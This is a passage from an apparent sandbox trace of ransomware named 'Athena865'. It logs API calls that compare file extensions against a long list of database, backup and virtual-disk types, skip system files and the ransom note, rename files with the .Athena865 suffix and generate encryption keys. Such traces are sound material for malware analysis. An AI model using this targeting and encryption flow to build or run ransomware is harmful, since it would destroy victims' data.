returned 1 [0152.892] lstrlenW (lpString="vhdx") returned 4 [0152.892] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.892] lstrlenW (lpString="avhd") returned 4 [0152.892] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.892] lstrlenW (lpString="db") returned 2 [0152.892] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.892] lstrlenW (lpString="db2") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.892] lstrlenW (lpString="db3") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.892] lstrlenW (lpString="dbf") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.892] lstrlenW (lpString="mdf") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.892] lstrlenW (lpString="mdb") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.892] lstrlenW (lpString="sql") returned 3 [0152.892] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.892] lstrlenW (lpString="sqlite") returned 6 [0152.892] lstrcmpiW (lpString1="DE.WAV", lpString2="sqlite") returned -1 [0152.892] lstrlenW (lpString="sqlite3") returned 7 [0152.892] lstrcmpiW (lpString1="ODE.WAV", lpString2="sqlite3") returned -1 [0152.893] lstrlenW (lpString="sqlitedb") returned 8 [0152.893] lstrcmpiW (lpString1="LODE.WAV", lpString2="sqlitedb") returned -1 [0152.893] lstrlenW (lpString="xml") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.893] lstrlenW (lpString="$er") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.893] lstrlenW (lpString="4dd") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.893] lstrlenW (lpString="4dl") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.893] lstrlenW (lpString="^^^") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.893] lstrlenW (lpString="abs") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.893] lstrlenW (lpString="abx") returned 3 [0152.893] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.893] lstrlenW (lpString="accdb") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accdb") returned 1 [0152.893] lstrlenW (lpString="accdc") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accdc") returned 1 [0152.893] lstrlenW (lpString="accde") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accde") returned 1 [0152.893] lstrlenW (lpString="accdr") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accdr") returned 1 [0152.893] lstrlenW (lpString="accdt") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accdt") returned 1 [0152.893] lstrlenW (lpString="accdw") returned 5 [0152.893] lstrcmpiW (lpString1="E.WAV", lpString2="accdw") returned 1 [0152.894] lstrlenW (lpString="accft") returned 5 [0152.894] lstrcmpiW (lpString1="E.WAV", lpString2="accft") returned 1 [0152.894] lstrlenW (lpString="adb") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.894] lstrlenW (lpString="adb") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.894] lstrlenW (lpString="ade") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.894] lstrlenW (lpString="adf") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.894] lstrlenW (lpString="adn") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.894] lstrlenW (lpString="adp") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.894] lstrlenW (lpString="alf") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.894] lstrlenW (lpString="ask") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.894] lstrlenW (lpString="btr") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.894] lstrlenW (lpString="cat") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.894] lstrlenW (lpString="cdb") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.894] lstrlenW (lpString="ckp") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.894] lstrlenW (lpString="cma") returned 3 [0152.894] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.895] lstrlenW (lpString="cpd") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.895] lstrlenW (lpString="dacpac") returned 6 [0152.895] lstrcmpiW (lpString1="DE.WAV", lpString2="dacpac") returned 1 [0152.895] lstrlenW (lpString="dad") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.895] lstrlenW (lpString="dadiagrams") returned 10 [0152.895] lstrcmpiW (lpString1="XPLODE.WAV", lpString2="dadiagrams") returned 1 [0152.895] lstrlenW (lpString="daschema") returned 8 [0152.895] lstrcmpiW (lpString1="LODE.WAV", lpString2="daschema") returned 1 [0152.895] lstrlenW (lpString="db-journal") returned 10 [0152.895] lstrcmpiW (lpString1="XPLODE.WAV", lpString2="db-journal") returned 1 [0152.895] lstrlenW (lpString="db-shm") returned 6 [0152.895] lstrcmpiW (lpString1="DE.WAV", lpString2="db-shm") returned 1 [0152.895] lstrlenW (lpString="db-wal") returned 6 [0152.895] lstrcmpiW (lpString1="DE.WAV", lpString2="db-wal") returned 1 [0152.895] lstrlenW (lpString="dbc") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.895] lstrlenW (lpString="dbs") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.895] lstrlenW (lpString="dbt") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.895] lstrlenW (lpString="dbv") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.895] lstrlenW (lpString="dbx") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.895] lstrlenW (lpString="dcb") returned 3 [0152.895] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.896] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.896] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.Athena865") returned 70 [0152.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.athena865"), dwFlags=0x1) returned 1 [0152.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.900] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23584) returned 1 [0152.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.900] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.901] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.901] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.901] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f20, lpName=0x0) returned 0x154 [0152.902] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f20) returned 0x100000 [0152.904] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.904] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.904] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.905] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.905] CloseHandle (hObject=0x154) returned 1 [0152.905] CloseHandle (hObject=0x17c) returned 1 [0152.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.906] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".") returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="..") returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="windows") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="bootmgr") returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="temp") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="pagefile.sys") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="boot") returned 1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="ids.txt") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="ntuser.dat") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="perflogs") returned -1 [0152.906] lstrcmpiW (lpString1="HAMMER.WAV", lpString2="MSBuild") returned -1 [0152.906] lstrlenW (lpString="HAMMER.WAV") returned 10 [0152.906] lstrcpyW (in: lpString1=0x241e8aa, lpString2="HAMMER.WAV" | out: lpString1="HAMMER.WAV") returned="HAMMER.WAV" [0152.906] lstrlenW (lpString="HAMMER.WAV") returned 10 [0152.906] lstrlenW (lpString="Athena865") returned 9 [0152.907] lstrcmpiW (lpString1="AMMER.WAV", lpString2="Athena865") returned -1 [0152.907] lstrlenW (lpString=".dll") returned 4 [0152.907] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".dll") returned 1 [0152.907] lstrlenW (lpString=".lnk") returned 4 [0152.907] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".lnk") returned 1 [0152.907] lstrlenW (lpString=".ini") returned 4 [0152.907] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".ini") returned 1 [0152.907] lstrlenW (lpString=".sys") returned 4 [0152.907] lstrcmpiW (lpString1="HAMMER.WAV", lpString2=".sys") returned 1 [0152.907] lstrlenW (lpString="HAMMER.WAV") returned 10 [0152.907] lstrlenW (lpString="bak") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.907] lstrlenW (lpString="ba_") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.907] lstrlenW (lpString="dbb") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.907] lstrlenW (lpString="vmdk") returned 4 [0152.907] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.907] lstrlenW (lpString="rar") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.907] lstrlenW (lpString="zip") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.907] lstrlenW (lpString="tgz") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.907] lstrlenW (lpString="vbox") returned 4 [0152.907] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.907] lstrlenW (lpString="vdi") returned 3 [0152.907] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.908] lstrlenW (lpString="vhd") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.908] lstrlenW (lpString="vhdx") returned 4 [0152.908] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.908] lstrlenW (lpString="avhd") returned 4 [0152.908] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.908] lstrlenW (lpString="db") returned 2 [0152.908] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.908] lstrlenW (lpString="db2") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.908] lstrlenW (lpString="db3") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.908] lstrlenW (lpString="dbf") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.908] lstrlenW (lpString="mdf") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.908] lstrlenW (lpString="mdb") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.908] lstrlenW (lpString="sql") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.908] lstrlenW (lpString="sqlite") returned 6 [0152.908] lstrcmpiW (lpString1="ER.WAV", lpString2="sqlite") returned -1 [0152.908] lstrlenW (lpString="sqlite3") returned 7 [0152.908] lstrcmpiW (lpString1="MER.WAV", lpString2="sqlite3") returned -1 [0152.908] lstrlenW (lpString="sqlitedb") returned 8 [0152.908] lstrcmpiW (lpString1="MMER.WAV", lpString2="sqlitedb") returned -1 [0152.908] lstrlenW (lpString="xml") returned 3 [0152.908] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.909] lstrlenW (lpString="$er") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.909] lstrlenW (lpString="4dd") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.909] lstrlenW (lpString="4dl") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.909] lstrlenW (lpString="^^^") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.909] lstrlenW (lpString="abs") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.909] lstrlenW (lpString="abx") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.909] lstrlenW (lpString="accdb") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accdb") returned 1 [0152.909] lstrlenW (lpString="accdc") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accdc") returned 1 [0152.909] lstrlenW (lpString="accde") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accde") returned 1 [0152.909] lstrlenW (lpString="accdr") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accdr") returned 1 [0152.909] lstrlenW (lpString="accdt") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accdt") returned 1 [0152.909] lstrlenW (lpString="accdw") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accdw") returned 1 [0152.909] lstrlenW (lpString="accft") returned 5 [0152.909] lstrcmpiW (lpString1="R.WAV", lpString2="accft") returned 1 [0152.909] lstrlenW (lpString="adb") returned 3 [0152.909] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.909] lstrlenW (lpString="adb") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.910] lstrlenW (lpString="ade") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.910] lstrlenW (lpString="adf") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.910] lstrlenW (lpString="adn") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.910] lstrlenW (lpString="adp") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.910] lstrlenW (lpString="alf") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.910] lstrlenW (lpString="ask") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.910] lstrlenW (lpString="btr") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.910] lstrlenW (lpString="cat") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.910] lstrlenW (lpString="cdb") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.910] lstrlenW (lpString="ckp") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.910] lstrlenW (lpString="cma") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.910] lstrlenW (lpString="cpd") returned 3 [0152.910] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.910] lstrlenW (lpString="dacpac") returned 6 [0152.910] lstrcmpiW (lpString1="ER.WAV", lpString2="dacpac") returned 1 [0152.910] lstrlenW (lpString="dad") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.911] lstrlenW (lpString="dadiagrams") returned 10 [0152.911] lstrlenW (lpString="daschema") returned 8 [0152.911] lstrcmpiW (lpString1="MMER.WAV", lpString2="daschema") returned 1 [0152.911] lstrlenW (lpString="db-journal") returned 10 [0152.911] lstrlenW (lpString="db-shm") returned 6 [0152.911] lstrcmpiW (lpString1="ER.WAV", lpString2="db-shm") returned 1 [0152.911] lstrlenW (lpString="db-wal") returned 6 [0152.911] lstrcmpiW (lpString1="ER.WAV", lpString2="db-wal") returned 1 [0152.911] lstrlenW (lpString="dbc") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.911] lstrlenW (lpString="dbs") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.911] lstrlenW (lpString="dbt") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.911] lstrlenW (lpString="dbv") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.911] lstrlenW (lpString="dbx") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.911] lstrlenW (lpString="dcb") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.911] lstrlenW (lpString="dct") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.911] lstrlenW (lpString="dcx") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.911] lstrlenW (lpString="ddl") returned 3 [0152.911] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.911] lstrlenW (lpString="dlis") returned 4 [0152.912] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.912] lstrlenW (lpString="dp1") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.912] lstrlenW (lpString="dqy") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="dqy") returned 1 [0152.912] lstrlenW (lpString="dsk") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="dsk") returned 1 [0152.912] lstrlenW (lpString="dsn") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="dsn") returned 1 [0152.912] lstrlenW (lpString="dtsx") returned 4 [0152.912] lstrcmpiW (lpString1=".WAV", lpString2="dtsx") returned -1 [0152.912] lstrlenW (lpString="dxl") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="dxl") returned 1 [0152.912] lstrlenW (lpString="eco") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="eco") returned 1 [0152.912] lstrlenW (lpString="ecx") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="ecx") returned 1 [0152.912] lstrlenW (lpString="edb") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="edb") returned 1 [0152.912] lstrlenW (lpString="epim") returned 4 [0152.912] lstrcmpiW (lpString1=".WAV", lpString2="epim") returned -1 [0152.912] lstrlenW (lpString="fcd") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="fcd") returned 1 [0152.912] lstrlenW (lpString="fdb") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="fdb") returned 1 [0152.912] lstrlenW (lpString="fic") returned 3 [0152.912] lstrcmpiW (lpString1="WAV", lpString2="fic") returned 1 [0152.913] lstrlenW (lpString="flexolibrary") returned 12 [0152.913] lstrlenW (lpString="fm5") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fm5") returned 1 [0152.913] lstrlenW (lpString="fmp") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fmp") returned 1 [0152.913] lstrlenW (lpString="fmp12") returned 5 [0152.913] lstrcmpiW (lpString1="R.WAV", lpString2="fmp12") returned 1 [0152.913] lstrlenW (lpString="fmpsl") returned 5 [0152.913] lstrcmpiW (lpString1="R.WAV", lpString2="fmpsl") returned 1 [0152.913] lstrlenW (lpString="fol") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fol") returned 1 [0152.913] lstrlenW (lpString="fp3") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fp3") returned 1 [0152.913] lstrlenW (lpString="fp4") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fp4") returned 1 [0152.913] lstrlenW (lpString="fp5") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fp5") returned 1 [0152.913] lstrlenW (lpString="fp7") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fp7") returned 1 [0152.913] lstrlenW (lpString="fpt") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="fpt") returned 1 [0152.913] lstrlenW (lpString="frm") returned 3 [0152.913] lstrcmpiW (lpString1="WAV", lpString2="frm") returned 1 [0152.914] lstrlenW (lpString="gdb") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.914] lstrlenW (lpString="gdb") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="gdb") returned 1 [0152.914] lstrlenW (lpString="grdb") returned 4 [0152.914] lstrcmpiW (lpString1=".WAV", lpString2="grdb") returned -1 [0152.914] lstrlenW (lpString="gwi") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="gwi") returned 1 [0152.914] lstrlenW (lpString="hdb") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="hdb") returned 1 [0152.914] lstrlenW (lpString="his") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="his") returned 1 [0152.914] lstrlenW (lpString="ib") returned 2 [0152.914] lstrcmpiW (lpString1="AV", lpString2="ib") returned -1 [0152.914] lstrlenW (lpString="idb") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="idb") returned 1 [0152.914] lstrlenW (lpString="ihx") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="ihx") returned 1 [0152.914] lstrlenW (lpString="itdb") returned 4 [0152.914] lstrcmpiW (lpString1=".WAV", lpString2="itdb") returned -1 [0152.914] lstrlenW (lpString="itw") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="itw") returned 1 [0152.914] lstrlenW (lpString="jet") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="jet") returned 1 [0152.914] lstrlenW (lpString="jtx") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="jtx") returned 1 [0152.914] lstrlenW (lpString="kdb") returned 3 [0152.914] lstrcmpiW (lpString1="WAV", lpString2="kdb") returned 1 [0152.915] lstrlenW (lpString="kexi") returned 4 [0152.915] lstrcmpiW (lpString1=".WAV", lpString2="kexi") returned -1 [0152.915] lstrlenW (lpString="kexic") returned 5 [0152.915] lstrcmpiW (lpString1="R.WAV", lpString2="kexic") returned 1 [0152.915] lstrlenW (lpString="kexis") returned 5 [0152.915] lstrcmpiW (lpString1="R.WAV", lpString2="kexis") returned 1 [0152.915] lstrlenW (lpString="lgc") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="lgc") returned 1 [0152.915] lstrlenW (lpString="lwx") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="lwx") returned 1 [0152.915] lstrlenW (lpString="maf") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="maf") returned 1 [0152.915] lstrlenW (lpString="maq") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="maq") returned 1 [0152.915] lstrlenW (lpString="mar") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="mar") returned 1 [0152.915] lstrlenW (lpString="marshal") returned 7 [0152.915] lstrcmpiW (lpString1="MER.WAV", lpString2="marshal") returned 1 [0152.915] lstrlenW (lpString="mas") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="mas") returned 1 [0152.915] lstrlenW (lpString="mav") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="mav") returned 1 [0152.915] lstrlenW (lpString="maw") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="maw") returned 1 [0152.915] lstrlenW (lpString="mdbhtml") returned 7 [0152.915] lstrcmpiW (lpString1="MER.WAV", lpString2="mdbhtml") returned 1 [0152.915] lstrlenW (lpString="mdn") returned 3 [0152.915] lstrcmpiW (lpString1="WAV", lpString2="mdn") returned 1 [0152.916] lstrlenW (lpString="mdt") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="mdt") returned 1 [0152.916] lstrlenW (lpString="mfd") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="mfd") returned 1 [0152.916] lstrlenW (lpString="mpd") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="mpd") returned 1 [0152.916] lstrlenW (lpString="mrg") returned 3 [0152.916] lstrcmpiW 